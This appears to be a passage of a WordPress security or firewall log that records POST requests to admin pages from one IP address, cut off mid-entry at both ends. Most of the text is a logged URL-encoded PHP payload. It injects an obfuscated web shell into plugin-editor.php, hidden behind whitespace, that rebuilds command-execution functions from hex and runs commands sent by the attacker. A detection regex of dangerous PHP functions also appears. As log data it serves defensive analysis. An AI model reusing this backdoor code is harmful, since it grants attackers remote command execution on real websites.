8%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:41:35","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> BH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25273%2527%253B%2524ent3%2520%253D%2520%25279%2527%253B%2524ent4%2520%253D%2520%25275%2527%253B%2524ent5%2520%253D%2520%25276%2527%253B%2524ent6%2520%253D%2520%2527d%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%25270%2527%253B%2524ent9%2520%253D%2520%2527e%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%25272%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%25278%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent6%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent2%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ent1%2520.%2520%25272%2527%2520.%2520%2524ent1%2520.%2520%25275%2527%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent9%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent11%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent12%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%2524ent5%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent2%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%2524ent13%2520.%2520%2524ent5%2520.%2520%2524ent12%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%2524ent11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524event_handler%252C%2524marker_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_mrk%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524ptr_data%253D%2524api_gateway5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524ptr_data%2529%257B%2524flg_pointer%253D%2524api_gateway6%2528%2524ptr_data%2529%253B%2524api_gateway7%2528%2524ptr_data%2529%253Bprint%2520%2524flg_pointer%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:8813\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDxtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\n\nBH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25273%2527%253B%2524ent3%2520%253D%2520%25279%2527%253B%2524ent4%2520%253D%2520%25275%2527%253B%2524ent5%2520%253D%2520%25276%2527%253B%2524ent6%2520%253D%2520%2527d%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%25270%2527%253B%2524ent9%2520%253D%2520%2527e%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%25272%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%25278%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent6%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent2%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ent1%2520.%2520%25272%2527%2520.%2520%2524ent1%2520.%2520%25275%2527%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent9%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent11%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent12%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%2524ent5%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent2%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%2524ent13%2520.%2520%2524ent5%2520.%2520%2524ent12%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%2524ent11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524event_handler%252C%2524marker_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_mrk%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524ptr_data%253D%2524api_gateway5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524ptr_data%2529%257B%2524flg_pointer%253D%2524api_gateway6%2528%2524ptr_data%2529%253B%2524api_gateway7%2528%2524ptr_data%2529%253Bprint%2520%2524flg_pointer%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:41:37","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25273%2527%253B%2524ent3%2520%253D%2520%25279%2527%253B%2524ent4%2520%253D%2520%25275%2527%253B%2524ent5%2520%253D%2520%25276%2527%253B%2524ent6%2520%253D%2520%2527d%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%25270%2527%253B%2524ent9%2520%253D%2520%2527e%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%25272%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%25278%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent6%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent2%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ent1%2520.%2520%25272%2527%2520.%2520%2524ent1%2520.%2520%25275%2527%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent9%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent11%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent12%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%2524ent5%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent2%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%2524ent13%2520.%2520%2524ent5%2520.%2520%2524ent12%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%2524ent11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524event_handler%252C%2524marker_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_mrk%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524ptr_data%253D%2524api_gateway5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524ptr_data%2529%257B%2524flg_pointer%253D%2524api_gateway6%2528%2524ptr_data%2529%253B%2524api_gateway7%2528%2524ptr_data%2529%253Bprint%2520%2524flg_pointer%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:8813\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIHHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\n\nUE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25273%2527%253B%2524ent3%2520%253D%2520%25279%2527%253B%2524ent4%2520%253D%2520%25275%2527%253B%2524ent5%2520%253D%2520%25276%2527%253B%2524ent6%2520%253D%2520%2527d%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%25270%2527%253B%2524ent9%2520%253D%2520%2527e%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%25272%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%25278%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent3%2520.%2520%25